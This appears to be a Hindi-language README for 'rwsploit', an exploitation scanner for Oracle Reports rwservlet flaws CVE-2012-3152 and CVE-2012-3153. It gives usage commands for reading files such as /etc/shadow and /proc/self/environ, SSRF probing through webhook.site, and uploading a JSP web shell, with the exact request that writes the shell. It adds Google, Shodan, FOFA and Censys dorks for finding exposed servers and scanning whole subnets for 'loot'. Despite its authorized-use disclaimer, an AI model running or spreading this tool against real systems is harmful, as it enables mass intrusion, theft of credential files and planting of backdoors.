Oracle Reports rwservlet स्कैनर

⚠️ केवल अधिकृत उपयोग के लिए। इस टूल को केवल उन सिस्टमों पर चलाएँ जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है।

Oracle Reports Server (rwservlet) के लिए एक केंद्रित शोषण स्कैनर जो CVE-2012-3152 और CVE-2012-3153 को लक्षित करता है — जो 11g से नीचे के संस्करणों को प्रभावित करता है। यह एकल IP, CIDR रेंज, या टारगेट सूचियों में पहचान, LFI फ़ाइल रीड, SSRF परीक्षण, और JSP शेल अपलोड को स्वचालित करता है। स्मार्ट TCP/HTTP प्री-फ़िल्टरिंग मृत होस्ट्स को तुरंत छोड़ देती है ताकि समय बर्बाद न हो।

स्थापना

git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests

Python 3.8+ आवश्यक है। कोई अन्य निर्भरता नहीं।

उपयोग

python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file>   [options]

बिना किसी तर्क के चलाएँ ताकि पूरा हेल्प मेनू और रिकॉन डॉर्क्स देख सकें।

विकल्प

उदाहरण

# Detect only
python3 rwsploit.py -t 10.10.10.55 -p 7777

# Detect + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi

# Full chain — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell

# Subnet scan, save dumps
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot

# From file, no SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf

targets.txt प्रारूप

# comment — skipped
10.10.10.55
10.10.11.0/24

विशेषताएँ

LFI

पहले showenv के ज़रिए OS का पता लगाकर विश्व-पठनीय फ़ाइलें पढ़ता है, फिर केवल मेल खाने वाला पेलोड सेट चलाता है।

Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ

Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT

🚨 कोई LFI आउटपुट न मिलने का मतलब यह नहीं कि टारगेट सुरक्षित है — Oracle का कॉन्फ़िगरेशन और फ़ाइल अनुमतियाँ अलग-अलग होती हैं। हमेशा SSRF और शेल अपलोड का स्वतंत्र रूप से परीक्षण करें।

SSRF

rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> भेजता है और कॉलबैक के लिए webhook.site API को पोल करता है। हिट होने पर स्रोत IP, मेथड और User-Agent प्रिंट करता है। स्टार्टअप पर स्वचालित रूप से एक नया वेबहुक टोकन बनाया जाता है।

शेल अपलोड (--shell)

1. आपके JSP शेल कंटेंट की सेवा करने वाले URL के लिए संकेत देता है
2. वास्तविक वेबरूट पथ पाने के लिए showenv से PATH_TRANSLATED पढ़ता है
3. एक यादृच्छिक शेल नाम उत्पन्न करता है (जैसे kxqbrmfa.jsp)
4. इसे इस प्रकार लिखता है: rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<your URL>
5. शेल URL को HTTP 200 के लिए जाँचकर सत्यापित करता है और लाइव लिंक प्रिंट करता है

रिकॉन डॉर्क्स — Oracle Reports < v11

Google

inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet

Shodan

http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"

FOFA

body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"

Censys

services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"

CVEs

Oracle Reports Server 6i, 9i, 10g को प्रभावित करता है — 11g में ठीक किया गया।

कानूनी

केवल अधिकृत पेनेट्रेशन टेस्टिंग, CTF चुनौतियों और सुरक्षा अनुसंधान के लिए। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।